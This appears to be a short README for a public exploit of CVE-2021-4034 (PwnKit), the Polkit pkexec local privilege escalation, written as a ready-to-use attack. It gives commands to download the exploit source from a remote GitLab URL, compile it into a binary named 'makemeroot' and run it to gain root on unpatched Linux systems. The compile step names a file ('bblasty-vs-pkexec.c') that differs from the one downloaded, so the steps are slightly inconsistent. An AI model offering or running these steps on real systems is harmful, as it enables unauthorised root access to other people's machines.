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PWNKIT Vulnerability - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

A memory corruption vulnerability in Polkit's pkexec, which allows any unprivileged user to gain full root privileges on a vulnerable system using default polkit configuration.

Easy to use, local privilege escalation on any non-patched linux sysyem.

Usage (e.g. CentOS 7)

Fetch exploit

wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c

Compile it using gcc

gcc bblasty-vs-pkexec.c -o makemeroot

Execute

./makemeroot
whoami